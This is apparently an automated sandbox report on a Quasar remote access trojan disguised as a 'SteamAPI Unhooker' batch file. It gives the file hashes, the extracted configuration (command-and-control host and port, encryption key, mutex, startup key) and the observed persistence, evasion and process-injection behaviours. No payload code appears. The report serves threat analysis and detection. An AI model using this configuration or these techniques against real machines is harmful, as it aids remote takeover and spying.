quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
300s
max time network
225s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
28-05-2024 13:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SteamAPI Unhooker.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4736-23-0x0000000008BB0000-0x0000000008CA2000-memory.dmp	family_quasar
behavioral2/memory/4716-82-0x0000000008C70000-0x0000000008CDC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral2/memory/4748-101-0x0000000000990000-0x00000000009FC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3504 created 604 3504 powershell.EXE winlogon.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

16 4716 powershell.exe
18 4716 powershell.exe
21 4716 powershell.exe
49 4716 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4736 powershell.exe
4836 powershell.exe
4716 powershell.exe

description	pid	process	target process
PID 3504 created 604	3504	powershell.EXE	winlogon.exe

flow	pid	process
16	4716	powershell.exe
18	4716	powershell.exe
21	4716	powershell.exe
49	4716	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WaaSMedicAgent.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

Processes:

New.exeInstall.exe

pid process

4748 New.exe
1848 Install.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

15 ip-api.com

pid	process
4748	New.exe
1848	Install.exe

flow	ioc
15	ip-api.com

Drops file in System32 directory 16 IoCs

Processes:

svchost.exesvchost.exesvchost.exepowershell.EXEOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3504 set thread context of 2320 3504 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 3504 set thread context of 2320	3504	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

4448 SCHTASKS.exe

pid	process
4448	SCHTASKS.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exewmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEOfficeClickToRun.exemousocoreworker.exesvchost.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a594b7f639e26c4083b3b0da538f62c100000000020000000000106600000001000020000000a59dce574ee25ff3324104052cb0fb4c4400f6a1cf6b72f3104f3658d2e209b7000000000e8000000002000020000000302069aabebc50f1f1c6df89889f3b83b6dea1a4cd45b764e0fce9e8d50e7626b0030000eaa297cefbce61ae5dad83bcbbe5a50aff05cf1606c59668fd6d8fa1b86d110d6ba1140697fe421202236de9d48f07e9a9722e417202b6e92320b11e59b0546ba712ac3711ad672acaf5537b99e57a28004438293b0c47e077c73fa80890805ffc10a19a8496f1957a76f7cee9cae57de6a672038c0506c19e18e1a75628713529f88f03f70d68a50bca13107e78aee49153612f249d7c3b9f1a8fc13a13eebc6efe8190600bcd5875d41aa17dfd5c1b0992503dd808334b2fb748353c80e5baca1cd5725dab3be1eed9e04f48381b738a889714561667bc730afa94dea2b9413e70625c9b738df60c0148e667bb0dbfe809a05ffd99e3ca5faf31294cdc1026e51f1ea5b6debbd5b2d51ee98aaddbb42e0dfa3ead14e0f3e5942305a8b629e7ba26919d6573aae2569d254921e1d94fc79cfc84d67528484028603ec530769aa1d1b796e7e4c34ad8e17425eb5002ee0414aa7c7e4ebb16d9c565cbc438208f940dcb0394a09c14922594bc43b1bcfc8ce3270ce484d6e54917a37e4248b54ba15d77b3f64f974c5e41477327fbe0dcf42eff9bd9260a014ad1c97c3220ac5c2f3174a4e3d76a462d60641d001de96b318c460e05b662f506558529328fcc68989453c96fb87833f97bc394c98fe62fc81df6f24dfa4d7606a3971d388d9f656616193610fe3e018a6673c574ae404c61cb55e944583ba58a0820ca9e9ac2cf2dc99dba31e1fdebd4ad50af4a71f7090763f42647c4a76910be5550de13bdf5370b3fee7d19278a5f2c50d4d482383cf850a0e65af1b4324085444512f26cce64d666b27712210c433bec2c813327420fa8ec10e1832fb54aeb7284b9192225f463cb3caed6e45a5edc1ce4387f4881612536db71026c8de5341c657fce8e1d6f7c972cc866f8d19870e4c9ddedac1c8af68545b9bb356ed84e9257ed56c91373b8486b701c1d6cc5274011b440438aa1b92694b0670006cb6de40ce5491b9cc9302d98559c6b4650768f857b0facd436413da69f57f89257ced91e0943068c9e136aeed18d556100d885293bd463d743bb04bf8d2620745a7f3bf7323489210c02d53149f222ed03e8470990c7968a3dca0f92bf5139812e9c611cc2d55e779497e5668eefed256f3c090b9a801d99e0461320eda6b2184d719a71d07fd6f4262d8c2afb9adbd7ed6691cc32da978f60145801c92e4a099145cb371a598e2f3f32af36ad5ce41f364dedb22e55e0c40249b295e44e2140f298a9d1ef254903a5ebbde61dff9508944e02d233cb063ac7586f8bdf7d4c2b4fe92908ce9e5044affac589024ffb1917dfdd4c5a3969bc400000001bd7a8b6cc92c33ce0e1a252b593d5ecc20848034234ac474681a21e434c8764e80a5219f631a29dd3f724ad2efad6c27c18eb715294df93878010ac75598a9c	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00DBE6209BC = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a594b7f639e26c4083b3b0da538f62c100000000020000000000106600000001000020000000112c727405f240a1da61d60f9e27af019d7d4d860dd2b658c0fd3aa88cf492b1000000000e8000000002000020000000f6a72f4d191f72b06e905185faea283faada2885bdab82d7cf3825b26f2e186480000000c92bceadf8193ce4ad1d8ed76033613a9ddbac50236545abcde2eababff4e2aff9f96c2f0778a296ea1f0188424f10df4dcd26af8180a0b2cf28866b280204113a9967f3bd842aaf5c0b3fb90eb8a27b26d2c8fab67944d8727d7290c657e3af017eabf935e3dabe03a957ad8636c775ee4a5fe0489bc5780c1d5422c0f45526400000005719e6cc82f56a93b1915eaca8bd209d1402a795f098cb4287bf810d668fde1c3bdb4a386dd06e20180c4822b720fe89d446bac64009ed4d4841507b1b88f5c6	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DBE6209BC"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={87747806-79BC-4BD0-BFF7-671EF04662E1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C00DBE6209BC"	mousocoreworker.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings powershell.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4956 PING.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	powershell.exe

pid	process
4956	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
4736	powershell.exe
4736	powershell.exe
4836	powershell.exe
4836	powershell.exe
4716	powershell.exe
4716	powershell.exe
3504	powershell.EXE
3504	powershell.EXE
3504	powershell.EXE
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
4716	powershell.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
4716	powershell.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
4716	powershell.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
4904	wmiprvse.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
4716	powershell.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe
2320	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeIncreaseQuotaPrivilege	4836	powershell.exe
Token: SeSecurityPrivilege	4836	powershell.exe
Token: SeTakeOwnershipPrivilege	4836	powershell.exe
Token: SeLoadDriverPrivilege	4836	powershell.exe
Token: SeSystemProfilePrivilege	4836	powershell.exe
Token: SeSystemtimePrivilege	4836	powershell.exe
Token: SeProfSingleProcessPrivilege	4836	powershell.exe
Token: SeIncBasePriorityPrivilege	4836	powershell.exe
Token: SeCreatePagefilePrivilege	4836	powershell.exe
Token: SeBackupPrivilege	4836	powershell.exe
Token: SeRestorePrivilege	4836	powershell.exe
Token: SeShutdownPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeSystemEnvironmentPrivilege	4836	powershell.exe
Token: SeRemoteShutdownPrivilege	4836	powershell.exe
Token: SeUndockPrivilege	4836	powershell.exe
Token: SeManageVolumePrivilege	4836	powershell.exe
Token: 33	4836	powershell.exe
Token: 34	4836	powershell.exe
Token: 35	4836	powershell.exe
Token: 36	4836	powershell.exe
Token: SeIncreaseQuotaPrivilege	4836	powershell.exe
Token: SeSecurityPrivilege	4836	powershell.exe
Token: SeTakeOwnershipPrivilege	4836	powershell.exe
Token: SeLoadDriverPrivilege	4836	powershell.exe
Token: SeSystemProfilePrivilege	4836	powershell.exe
Token: SeSystemtimePrivilege	4836	powershell.exe
Token: SeProfSingleProcessPrivilege	4836	powershell.exe
Token: SeIncBasePriorityPrivilege	4836	powershell.exe
Token: SeCreatePagefilePrivilege	4836	powershell.exe
Token: SeBackupPrivilege	4836	powershell.exe
Token: SeRestorePrivilege	4836	powershell.exe
Token: SeShutdownPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeSystemEnvironmentPrivilege	4836	powershell.exe
Token: SeRemoteShutdownPrivilege	4836	powershell.exe
Token: SeUndockPrivilege	4836	powershell.exe
Token: SeManageVolumePrivilege	4836	powershell.exe
Token: 33	4836	powershell.exe
Token: 34	4836	powershell.exe
Token: 35	4836	powershell.exe
Token: 36	4836	powershell.exe
Token: SeIncreaseQuotaPrivilege	4836	powershell.exe
Token: SeSecurityPrivilege	4836	powershell.exe
Token: SeTakeOwnershipPrivilege	4836	powershell.exe
Token: SeLoadDriverPrivilege	4836	powershell.exe
Token: SeSystemProfilePrivilege	4836	powershell.exe
Token: SeSystemtimePrivilege	4836	powershell.exe
Token: SeProfSingleProcessPrivilege	4836	powershell.exe
Token: SeIncBasePriorityPrivilege	4836	powershell.exe
Token: SeCreatePagefilePrivilege	4836	powershell.exe
Token: SeBackupPrivilege	4836	powershell.exe
Token: SeRestorePrivilege	4836	powershell.exe
Token: SeShutdownPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeSystemEnvironmentPrivilege	4836	powershell.exe
Token: SeRemoteShutdownPrivilege	4836	powershell.exe
Token: SeUndockPrivilege	4836	powershell.exe
Token: SeManageVolumePrivilege	4836	powershell.exe
Token: 33	4836	powershell.exe
Token: 34	4836	powershell.exe
Token: 35	4836	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4716 powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3368 Explorer.EXE

pid	process
4716	powershell.exe

pid	process
3368	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 5108 wrote to memory of 4736	5108	cmd.exe	powershell.exe
PID 5108 wrote to memory of 4736	5108	cmd.exe	powershell.exe
PID 5108 wrote to memory of 4736	5108	cmd.exe	powershell.exe
PID 4736 wrote to memory of 4836	4736	powershell.exe	powershell.exe
PID 4736 wrote to memory of 4836	4736	powershell.exe	powershell.exe
PID 4736 wrote to memory of 4836	4736	powershell.exe	powershell.exe
PID 4736 wrote to memory of 3640	4736	powershell.exe	WScript.exe
PID 4736 wrote to memory of 3640	4736	powershell.exe	WScript.exe
PID 4736 wrote to memory of 3640	4736	powershell.exe	WScript.exe
PID 3640 wrote to memory of 2184	3640	WScript.exe	cmd.exe
PID 3640 wrote to memory of 2184	3640	WScript.exe	cmd.exe
PID 3640 wrote to memory of 2184	3640	WScript.exe	cmd.exe
PID 2184 wrote to memory of 4716	2184	cmd.exe	powershell.exe
PID 2184 wrote to memory of 4716	2184	cmd.exe	powershell.exe
PID 2184 wrote to memory of 4716	2184	cmd.exe	powershell.exe
PID 4716 wrote to memory of 4748	4716	powershell.exe	New.exe
PID 4716 wrote to memory of 4748	4716	powershell.exe	New.exe
PID 4716 wrote to memory of 4748	4716	powershell.exe	New.exe
PID 4716 wrote to memory of 1848	4716	powershell.exe	Install.exe
PID 4716 wrote to memory of 1848	4716	powershell.exe	Install.exe
PID 4716 wrote to memory of 1848	4716	powershell.exe	Install.exe
PID 4748 wrote to memory of 4448	4748	New.exe	SCHTASKS.exe
PID 4748 wrote to memory of 4448	4748	New.exe	SCHTASKS.exe
PID 4748 wrote to memory of 4448	4748	New.exe	SCHTASKS.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 3504 wrote to memory of 2320	3504	powershell.EXE	dllhost.exe
PID 2320 wrote to memory of 604	2320	dllhost.exe	winlogon.exe
PID 2320 wrote to memory of 660	2320	dllhost.exe	lsass.exe
PID 2320 wrote to memory of 936	2320	dllhost.exe	svchost.exe
PID 2320 wrote to memory of 1000	2320	dllhost.exe	dwm.exe
